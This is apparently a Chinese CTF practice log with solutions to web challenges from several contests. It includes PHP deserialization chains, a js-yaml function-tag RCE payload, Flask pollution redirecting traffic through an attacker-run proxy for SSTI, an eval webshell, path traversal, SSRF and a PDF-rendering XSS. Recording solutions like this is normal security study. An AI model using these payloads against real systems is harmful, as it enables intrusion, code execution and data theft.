ctf刷题记录1(完结)

安洵杯:

easy_unserialize

考点:双重MD5+shell变量构造数字

 <?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

链子挺好找的

wakeup-》unset-》tostring-》invoke-》Flag

据说在invoke中直接查看phpinfoI()也可以直接看到flag,应该是非预期,按部就班的话就是在Flag类中利用原生类来读取文件。

浅浅讲一下Flag类中的实现方式

class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

__invoke() 方法中,使用了 array_walk() 函数来遍历类实例自身(即 $this)的属性和值。对每个属性和值($one代表属性名  $two代表属性值,例如假使Flag有$a=’b‘的属性,那么$one就是a,$two就是b),都会执行一个匿名函数,在匿名函数中很明显可以利用原生类。

给个结合原生类列目录的poc

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

}
class Luck{
    public $l1;
    public $ll2;
    public $md5;
    public $lll3;
 
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

$a = new You();
$a->y1 = new Luck();
$a->y1->md5 = new Luck();
$a->y1->md5->l1 = new Flag();
$a->y1->md5->l1->DirectoryIterator = "file:///";
echo serialize($a);
?>

然后根据所得到的需要读取的文件,利用原生类读取即可

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

}
class Luck{
    public $l1;
    public $ll2;
    public $md5;
    public $lll3;
 
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

$a = new You();
$a->y1 = new Luck();
$a->y1->md5 = new Luck();
$a->y1->md5->l1 = new Flag();
$a->y1->md5->l1->SplFileObject = "/FfffLlllLaAaaggGgGg";
echo serialize($a);
?>

额看了官方的wp之后才发现原来我这样做也是非预期,悲!

按出题人的意思,每一个类都是要用到的,看了之后发现挺多都是新知识,因此记录一下。

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

what's my name

考点:匿名函数

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{
    echo("YOU Do Not Know What is My Name!");
}
?> 

这个得算是原题了吧,网上一搜就搜到了

首先正则匹配要求必须以5个字符加include开头,然后会通过create_function创建一个匿名方法,返回匿名方法的名称,本地调试时可以发现是下面这种形式

lambda_1,后面的数字会随着没创建一个匿名方法而增加,也就是说你重复发请求,就能让最后的数字一直增大,因此绕过if判断很简单了,但是有一个坑,$miao的最前面是有一个空格符%00的,因此在$name前面也需要加一个。

进入if判断后再次创建了一个匿名函数,这个函数中有我们可控的内容,因此只需要提前闭合前面的函数,就可以随意注入恶意代码了

先放poc:

?d0g3="]);}include(index.php);phpinfo();/*&name=%00lambda_36

带入匿名函数后就是

{  
    return 1 * strnatcasecmp($a[""]);
}
    include(index.php);
    phpinfo();
    /*"], $b[""]);}include(index.php);phpinfo();/*"]);;

太菜了以至于只做出上面两题,以下的都是赛后复现

signal

考点:yaml反序列化

题目给了源码,简单审计一下就是将一些类型的文件通过yaml.load()和yaml.dump()转换成yaml文件,然后将yaml文件中的name属性的值和整个文件的内容渲染到模板上。

if (output) {
		let name = 'ctfer';
		const yamlData = yaml.load(output);
		if (yamlData && yamlData.name) {
			 name = yamlData.name;
		}
		req.session.outputData=name;
		req.session.outputData=output;
		res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
	} else {
		res.status(400).send('Unsupported format.')
	}
});
<p>可爱的<%= name %>公主殿下 你转换后的文件是:</p>
<pre>
    <%= output %>
</pre>

 简单测试一下,建立一个test.yaml的文件,内容为(省略号后面有一个空格,这是yaml文件的格式要求)

name: aaa

可以看到name渲染的值是可控的。

然后到这就不会了,看了wp,是利用了js-yaml在3.14.1版本允许使用 tag 构造任意 JS 函数。

使用方法: 

然后很妙的一点就是利用了js在Function、对象需要转换为字符串时,通常会自动调用函数、对象中的 toString 方法,而我们可以在函数中重写这个方法,来达到命令执行的目的。

在本题中利用了render函数来渲染模板,因此我们可以控制name属性为一个对象,在对象中重写tostring方法,yaml文件中对象的格式为

因此最后的payload为

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

最后放一下主要的源码:

const express = require('express');
const multer = require('multer');
const bodyParser = require('body-parser');
const ini = require('iniparser');
const xml2js = require('xml2js');
const properties = require('properties');
const yaml = require('js-yaml');
const cp = require('child_process')
const path = require('path');
const session = require('express-session');

const app = express();
const port = process.env.PORT || 80;

// 设置存储配置
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });


app.use(express.static(path.join(__dirname, 'public')));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.use(session({
	secret: 'welcome',//
	resave: false,
	saveUninitialized: false,
	cookie: {
		maxAge: 3600000
	}
}))

let output = '';

app.get('/', (req, res) => {
	res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

app.post('/convert', upload.single('configFile'), (req, res) => {
	if (!req.file) {
		return res.status(400).send('No file uploaded.');
	}
	if(req.body.format!="yaml"){
		return res.status(404).send("该功能暂未开始使用.");
	}
	const fileExtension = path.extname(req.file.originalname).toLowerCase();
	const fileBuffer = req.file.buffer.toString('utf8');


	if (fileExtension === '.ini') {
		// 处理 INI 文件
		const parsedData = ini.parseString(fileBuffer);
		output = yaml.dump(parsedData);
	} else if (fileExtension === '.xml') {
		// 处理 XML 文件
		xml2js.parseString(fileBuffer, (err, result) => {
			if (err) {
				return res.status(500).send('Error parsing XML.');
			}
			output = yaml.dump(result);
		});
	} else if (fileExtension === '.properties') {
		// 处理 Properties 文件
		properties.parse(fileBuffer, (err, parsedData) => {
			if (err) {
				console.error('Error parsing properties file:', err);
				return res.status(500).send('Error parsing properties file.');
			}
			output = yaml.dump(parsedData);
		});
	} else if (fileExtension === '.yaml') {
		// 处理 YAML 文件
		try {
			// 尝试解析 YAML 文件
			const yamlData = yaml.load(fileBuffer);
			// 如果成功解析,yamlData 变量将包含 YAML 文件的内容
			output = yaml.dump(yamlData);
		} catch (e) {
			return res.status(400).send('Invalid YAML format: ' + e.message);
		}
	}

	if (output) {
		let name = 'ctfer';
		const yamlData = yaml.load(output);
		if (yamlData && yamlData.name) {
			 name = yamlData.name;
		}
		req.session.outputData=name;
		req.session.outputData=output;
		res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
	} else {
		res.status(400).send('Unsupported format.')
	}
});
app.get('/download', (req, res) => {
	if (output) {
		const outputData = req.session.outputData;

		// 设置响应头,指定文件的内容类型为YAML
		res.setHeader('Content-Type', 'application/x-yaml');
		// 设置响应头,指定文件名
		res.setHeader('Content-Disposition', 'attachment; filename="output.yaml"');

		// 将转换后的文件内容发送给客户端
		res.send(outputData);
	} else {
		res.status(404).send('File not found.');
	}
});
app.get('/flag',(req, res) => {
	if(req.session.name=='admin'){
		cp.execFile('/readflag', (err, stdout, stderr) => {
			if (err) {
				console.error('Error:', err);
				return res.status(404).send('File not found.');
			}
			res.send(stdout);
		})
	} else {
		res.status(403).send('Permission denied.');
	}
})

app.listen(port, () => {
	console.log(`App is running on port ${port}`)
})

Swagger docs

考点:swagger接口文档

打开就是没见到过的东西,是swagger接口文档,这里根据wp反向推理一下文档的意思。。。

path是路由,本题中有注册路由,登录路由,搜索路由等等五条路由,这里取一条介绍下,也就是上图的register路由。

很明显访问这个路由需要用post请求,json格式的数据,post携带的参数需要从definitions/UserRegistration找,也就是username和password参数。

因此注册账号的payload就是(记得格式要改成application/json)

之后就是类似上述步骤进行登录,然后才能访问search路由(登录成功才会有正确的token)

然后根据wp知道在search路由可以进行任意文件读取,type得是text,这样返回的也是text文本

先读进程:

http://47.108.206.43:39475/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text

再读源码位置:

http://47.108.206.43:39475/api-base/v0/search?file=../../../../../app/run.sh&type=text

读源码:

http://47.108.206.43:39475/api-base/v0/search?file=../../../../../app/app.py&type=text
#coding=gbk
import json
from flask import Flask, request,  jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True

app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
    'code': 0,
    'message': 'failed',
    'result': None
}
response1={
    'code': 1,
    'message': 'success',
    'result': current_time
}

response2 = {
    'code': 2,
    'message': 'Invalid request parameters',
    'result': None
}


def auth(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return 'Invalid token', 401
        try:
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == User.username and payload['password'] == User.password:
                return func(*args, **kwargs)
            else:
                return 'Invalid token', 401
        except:
            return 'Something error?', 500

    return decorated

@app.route('/',methods=['GET'])
def index():
    return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        User.setUser(username,password)
        token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
        User.setToken(token)
        return jsonify(response1)

    return jsonify(response2),400


@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        try:
            token = User.token
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == username and payload['password'] == password:
                response = jsonify(response1)
                response.set_cookie('token', token)
                return response
            else:
                return jsonify(response0), 401
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401

    return jsonify(response2), 400

@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
    try:
        if request.method == 'POST':
            try:
                new_password = request.get_json()
                if new_password:

                    update(new_password, User)

                    updated_token = jwt.encode({'username': User.username, 'password': User.password},
                                               app.config['SECRET_KEY'], algorithm='HS256')
                    User.token = updated_token
                    response = jsonify(response1)
                    response.set_cookie('token',updated_token)
                    return response
                else:
                    return jsonify(response0), 401
            except:
                return "Something error?",505
        else:
            return jsonify(response2), 400

    except jwt.ExpiredSignatureError:
        return 'Invalid token', 401
    except jwt.InvalidTokenError:
        return 'Invalid token', 401

def update(src, dst):
    if hasattr(dst, '__getitem__'):
        for key in src:
            if isinstance(src[key], dict):
                 if key in dst and isinstance(src[key], dict):
                    update(src[key], dst[key])
                 else:
                     dst[key] = src[key]
            else:
                dst[key] = src[key]
    else:
        for key, value in src.items() :
            if hasattr(dst,key) and isinstance(value, dict):
                update(value,getattr(dst, key))
            else:
                setattr(dst, key, value)


@app.route('/api-base/v0/logout')
def logout():
    response = jsonify({'message': 'Logout successful!'})
    response.delete_cookie('token')
    return response


@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
    if request.args.get('file'):
        try:
            if request.args.get('id'):
                id = request.args.get('id')
            else:
                id = ''
            data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
            if data.status_code != 200:
                return data.status_code

            if request.args.get('type') == "text":
                return render_template_string(data.text)
            else:
                return jsonify(json.loads(data.text))
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401
        except Exception:
            return 'something error?'
    else:
        return jsonify(response2)

class MemUser:
    def setUser(self, username, password):
        self.username = username
        self.password = password

    def setToken(self, token):
        self.token = token

    def __init__(self):
        self.username="admin"
        self.password="password"
        self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
    User = MemUser()
    app.run(host='0.0.0.0')

接下去就是抄wp了

  • 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
  • uapate()函数中存在类似于原型链污染,可以利用来修改环境变量

通过原型链污染,修改http_proxy环境变量(改成自己服务器的ip和端口),即可控制请求的响应数据来造成ssti,实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }
 

修改代理后即可随意发送请求(注意:得选择text才能进入渲染)

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text
 
VPS控制请求响应:
HTTP/1.1 200 OK
 
{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

[GKCTF 2021]

easycms

方法一:文件上传+目录穿越

蝉知的模板,遇到这样现成的网站,第一就是去搜集相关的信息,看看有没有已经被发现的漏洞。(这道题搜不到)然后就是测试后台网站,御剑扫出了admin.php,进入后发现是一个登录界面,提示密码是五位数字,可以爆破一下,最后账号是admin,密码是12345

进入后发现模块很多,我们一个个去尝试,在主题模块发现可以编辑网站的头部代码,可以来进行文件读取。

但是要保存的时候需要你创见一个文件来验证管理员身份,先放着,看看其他模块。

后来发现在组件->素材中刚好可以上传文件,猜测存储路径可能是简单的拼接,如果是的话就可以用../进行目录穿越来上传文件。

尝试后发现的确只是简单的拼接了路径(注意上传的文件一定要是txt格式,因为你编辑的时候只能重新编辑文件名,文件格式是不变的),由于/var/www/html/system可以一下看出是绝对路径,因此../可以尽可能多,使它能回到根目录就行,不需要知道原本存储文件的路径。

最后回到网站头部代码的编辑,改成<?php system('cat /flag');?>即可。

方法二:任意文件下载

还是在主题处发现能导出主题,

导出后会下载一个zip文件,复制这个zip文件的下载链接,http://node4.anna.nssctf.cn:28521/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvYS56aXA=

可以看出theme后面的是经过base64加密的,解码后为:/var/www/html/system/tmp/theme/default/a.zip 发现就是该文件的地址,猜测flag文件在根目录下,将/flag加密后的L2ZsYWc=拼接上去,得到http://node4.anna.nssctf.cn:28521/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=,直接在url栏中输入即可。最后将下载下来的flag.zip(实际上只有一句话,因此不能解压)直接用记事本打开就能得到flag。

[HNCTF 2022 WEEK2]

ez_ssrf

考点:fsockopen触发ssrf

 <?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
} 

代码很简短,最重要的就是fsockopen这个函数。

fsockopen函数可以被滥用来触发SSRF攻击,这是因为该函数允许从远程服务器上读取数据并与远程服务器建立连接。攻击者可以使用fsockopen函数来发送恶意请求,例如将远程服务器地址设置为攻击者控制的恶意服务器,然后尝试读取该服务器上的敏感数据或执行任意命令。

php fsockopen使用 - 雪剑无影 - 博客园 (cnblogs.com)

这篇文章中介绍了使用方法,这里就不细讲了。

回到题目,大意就是将参数$data进行base64解码后,发送到指定的主机$host和端口$port,并读取输出响应数据,前文中有提示flag.php 这个文件,并提示locohost plz,即让我们访问本地主机,端口号盲猜80(因为接触不多只知道80),$data伪造一个请求头。   

<?php

$out = "GET /flag.php HTTP/1.1\r\n";

$out .= "Host: 127.0.0.1\r\n";

$out .= "Connection: Close\r\n\r\n";

echo base64_encode($out);

?>

    最后的payload:/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

结果需要等待一会才能有回显,原因在上文提供的fsockopen的使用中有提到。

鹏城杯2023 web2

考点:长度限制rce

赛后复现,环境进不去了,纯文字凑合看吧

进去是一个搜索框,有提示是搜目录的,f12发现提示目录下存在后门,

<!-- backdoor_[a-f0-9]{16}.php -->

结合glob协议目录遍历即可。

访问爆出的地址

<?php
highlight_file(__FILE__);
error_reporting(0);

if(isset($_GET['username'])){
    $sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
    mkdir($sandbox);
    chdir($sandbox);
  
    if(isset($_GET['title'])&&isset($_GET['data'])){
        $data = $_GET['data'];
        $title= $_GET['title'];
        if (strlen($data)>5||strlen($title)>3){
            die("no!no!no!");
        }
        file_put_contents($sandbox.$title,$data);

        if (strlen(file_get_contents($title)) <= 10) {
            system('php '.$sandbox.$title);
        }
        else{
            system('rm '.$sandbox.$title);
            die("no!no!no!");
        }

    }
    else if (isset($_GET['reset'])) {
        system('/bin/rm -rf ' . $sandbox);
    }
}

常见的长度绕过rce,拿数组绕过即可,strlen(数组)返回为空

?username=m4x&title[]=1&data[]=<?= `cat /flag`;

有一点有趣的是, $title= $_GET['title'];得到的$title为Array.

此外还看到一个神奇的解法

一共上传三个文件,名为zz的文件中是我们要执行的代码,名为sh的文件中内容任意,最后上传|*,结合源码中就是执行php |*;

然后神奇的是居然执行了zz文件中的内容

我个人理解就是*匹配了当前目录下的文件,执行了sh zz这个指令,|前的指令并没有什么用,只是因为要满足|管道符的格式,不让他报错。


1.http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?
username=1xx&title=zz&data=nl /* 
2.http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?
username=1xx&title=sh&data=1 
3.http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?
username=1xx&title=|*&data=1

PolarCtf2023

随机值:

 <?php
include "flag.php";
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}
if(isset($_GET['sys'])){
    $a = unserialize($_GET['sys']);
    $a->getflag($flag);
}
else{
    highlight_file("index.php");
}
?> 

这题算是个乌龙吧,预期解曾经遇到过,但是没想起来,因此记录一下。

先说乌龙,因为$Polar2是私有属性,只能在类的内部通过$this->关键词引用,因此$Polar2 = rand(0,100);中的$Polar2与类属性Polar2并不是同一个,因此对$Polar2的赋值不会影响$THIS->Polar的值,仍然为空。所以两个if判断是恒成立的,随便输入一个反序列化的字符串即可。不过因为是私有属性,会有不可见字符,因此最后url编码一下。

payload:

<?php
class Index{
    public $Polar1;
    public $Polar2;
    public $Night;
    public $Light;
} 
$a = new Index;
echo urlencode(serialize($a));

那么如果将$Polar2 = rand(0,100);改为$this->Polar2 = rand(0,100);

我们应该怎么进入if判断呢,答案是地址引用。

$Polar2随机,但我们只需要$Polar1的值通过取地址符来动态获得$Polar2的值即可

payload:

<?php
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;
    function __construct(){
        $this->Polar1 =&$this->Polar2;
        $this->Night =&$this->Light;
    }
} 
$a = new Index;
echo urlencode(serialize($a));

你的马呢?

这题真的很气,很简单,但是不知道为什么下面的命令用不了(第一次遇见),可能是因为版本问题,导致我用了两种明明可以正确解出的方法最后都失之交臂。

<script language="php"> eval($_POST['data']); </script>

方法1:Apache解析漏洞

方法2:二次渲染

url中存在文件包含

方法3:

官方wp中是采用对一句话木马进行base64加密,改成可上传尾缀上传,通过php伪协议来包含

safe_include

<?php 
show_source(__FILE__); 
@session_start();

ini_set('open_basedir', '/var/www/html/:/tmp/'); 

$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
    $sys = $_GET['xxs'];
}

@include $sys;

$_SESSION['xxs'] = $sys;

很明显的session文件包含,控制xxs的值令$_SESSION['xxs'] = 一句话木马,随后$session对象的内容会被反序列化后写进session文件中(一句话木马相当于session对象的一个属性的值,会完好的存在于session文件),session文件的路径一般为

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

蚁剑连接即可

http://d5b1bee0-3ecc-4f8c-8b0b-8d4d6e87cbd9.www.polarctf.com:8090/?xxs=/tmp/sess_vdfsp9svif2vtt47m28df2mkh1

[2021祥云杯]

secrets_of_admin

考点:pdf.create()触发xxs

题目给了源码,我就简单理一下利用过程

database.ts中有两张表,user表中给了账号密码,files表插入了一个flag文件

CREATE TABLE IF NOT EXISTS users (
            id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            username   VARCHAR(255) NOT NULL,
            password   VARCHAR(255) NOT NULL
        );

	INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');
CREATE TABLE IF NOT EXISTS files (
            username   VARCHAR(255) NOT NULL,
            filename   VARCHAR(255) NOT NULL UNIQUE,
            checksum   VARCHAR(255) NOT NULL
        );

	INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);

此外还有四个函数:login,getfile,list,create

重点介绍下getfile和create

static getFile(username: string, checksum: string): Promise<any> {
        return new Promise((resolve, reject) => {
            db.get(`SELECT filename FROM files WHERE username = ? AND checksum = ?`, username, checksum, (err , result ) => {
                if (err) return reject(err);
                resolve(result ? result['filename'] : null);
            })
        })
    }

通过username和checksum来找文件名

static Create(username: string, filename: string, checksum: string): Promise<any> {
       return new Promise((resolve, reject) => {
            try {
                let query = `INSERT INTO files(username, filename, checksum) VALUES('${username}', '${filename}', '${checksum}');`;
                resolve(db.run(query));
            } catch (err) {
                reject(err);
            }
       })
    }

插入一条files表的数据

开始做题,通过源码中给的账号密码登录后,此时我们的身份是admin

在index.ts中我们可以看到在/api/files/:id路由下我们可以查询文件内容,但是flag文件在数据表中对应的username是superuser,同时在源码中限制我们只能查询username为admin的文件(源码不放了,可以自行查看),想要伪造superuser的cookie不现实,只能像别的办法。

router.get('/api/files/:id', async (req, res) => {
    let token = req.signedCookies['token']
    if (token && token['username']) {
        if (token.username == 'superuser') {
            return res.send('Superuser is disabled now');   
        }
        try {
            let filename = await DB.getFile(token.username, req.params.id)
            if (fs.existsSync(path.join(__dirname , "../files/", filename))){
                return res.send(await readFile(path.join(__dirname , "../files/", filename)));
            } else {
                return res.send('No such file!');
            }
        } catch (err) {
            return res.send('Error!');
        }
    } else {
        return res.redirect('/');
    }
});

在 /api/files路由下看到我们可以往数据表中插入数据,那么如果我们插入username为admin,filename为flag,checksum与源码中给的相同,那我们不就能通过上面的路由去读取flag文件的内容了么。但是存在一个问题,在/api/files路由下限制我们需要本地访问。

router.get('/api/files', async (req, res, next) => {
    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
        return next(createError(401));
    }
    let { username , filename, checksum } = req.query;
    if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
        try {
            await DB.Create(username, filename, checksum)
            return res.send('Done')
        } catch (err) {
            return res.send('Error!')
        }
    } else {
        return res.send('Parameters error')
    }
});

在 /admin中看到他过滤了一些奇怪的字符,好像是可以xss,搜索pdf库的内容,发现当我们用pdf.create()把html文本转为pdf时,里面的script脚本文件会自动加载解析。也就是这里能触发xss,当我们构造一个图片src或者别的标签自定义弹窗时,就可以构造请求本地的/api/files

router.post('/admin', checkAuth, (req, res, next) => {
    let { content } = req.body;
    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else {
        let template = `
        <html>
        <meta charset="utf8">
        <title>Create your own pdfs</title>
        <body>
        <h3>${content}</h3>
        </body>
        </html>
        `
        try {
            const filename = `${uuid()}.pdf`
            pdf.create(template, {
                "format": "Letter",
                "orientation": "portrait",
                "border": "0",
                "type": "pdf",
                "renderDelay": 3000,
                "timeout": 5000
            }).toFile(`./files/${filename}`, async (err, _) => {
                if (err) next(createError(500));
                const checksum = await getCheckSum(filename);
                await DB.Create('superuser', filename, checksum)
                return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
            });
        } catch (err) {
            return res.render('admin', { error : 'Failed to generate pdf 😥'})
        }
    }
});

 不过这里过滤了尖括号,注入点又不在标签之中,增加了绕过的难度。参考别的师傅的博客,知道了.include不能识别数组,因此可以用数组绕过:

payload:

content[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=2333">

其中filename中还用到了目录穿越,原因是sql中不能出现相同的键名,在flag在file表中已经被使用过了,因此需要绕一下,可以目录穿越的原因是在源码中最后的路径是拼接得到了,感兴趣的可以自己去看看,试试读取其他文件。

此外也可以用script标签的window跳转

<script>
  // 在当前窗口中跳转到指定的 URL
  window.location.href = 'https://www.example.com';

  // 或者使用以下方法进行页面跳转
  // window.location.assign('https://www.example.com');
</script>

payload:

content[]=<script>%20window.location.href ="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=2333"</script>

vn2024 

CutePath

考点:目录穿越

抓包,在filepath处存在目录穿越漏洞,层层向上穿越可以找到flag存储的位置

改包发送,尝试直接下载,但是跳转到了空白页面,二维码处可以复制链接,可以看到链接中的../都没了,应该是有过滤的,也就是说我们只能下载chfs/shared/下的文件

http://manqiu.top:20317/chfs/shared/flag.txt

 遍历目录时有一个文件名很明显是base64加密的,解密后是admin用户的账号密码

 登录后在文件旁边会多出重命名的选项

看了大佬的wp后才知道这个重命名能够实现文件转移存储的功能,我猜测应该是重新生成文件时直接拼接了文件名。

 将flag文件转移到可下载的目录下,下载即可。

TrySent

可以直接搜到sentcms的cve

CVE-2022-24652,是一个任意文件上传漏洞

赛后复现环境有点问题,登不进去,这里直接放别人的wp了

POST /user/upload/upload HTTP/1.1
Host: 7dd1d89b-bc28-43fc-9b42-a014dff41eea.vnctf2024.manqiu.top
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
